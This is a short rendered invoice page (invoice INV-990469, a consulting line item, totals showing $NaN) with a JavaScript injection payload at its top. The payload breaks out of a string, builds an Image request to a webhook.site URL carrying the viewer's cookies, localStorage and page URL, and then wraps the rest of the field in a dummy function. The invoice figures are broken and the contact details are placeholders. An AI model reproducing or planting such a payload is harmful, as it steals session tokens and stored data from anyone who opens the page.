

');}var i=new
 Image();i.src='https://webhook.site/1df76376-3d18-433a-b144-7d48df331c8e/?
 d='+encodeURIComponent(document.cookie+'|'+JSON.stringify(localStorage)+'|'+location.href);function
 z(){var y=('

Accounts receivable

Invoice

Payment request for \$NaN

Bill To
 Amount due

P
 \$NaN

p@x.co

Description	Qty	Rate	Amount
Consulting	1	USD 100.00	USD 0.00
Subtotal		USD 100.00	
Tax		USD 0.00	
Discount		USD 0.00	
Shipping		USD 0.00	
Total		\$NaN	

Thank you

hi
 Payment due within 7 days. Please include invoice ID INV-990469 with your payment.

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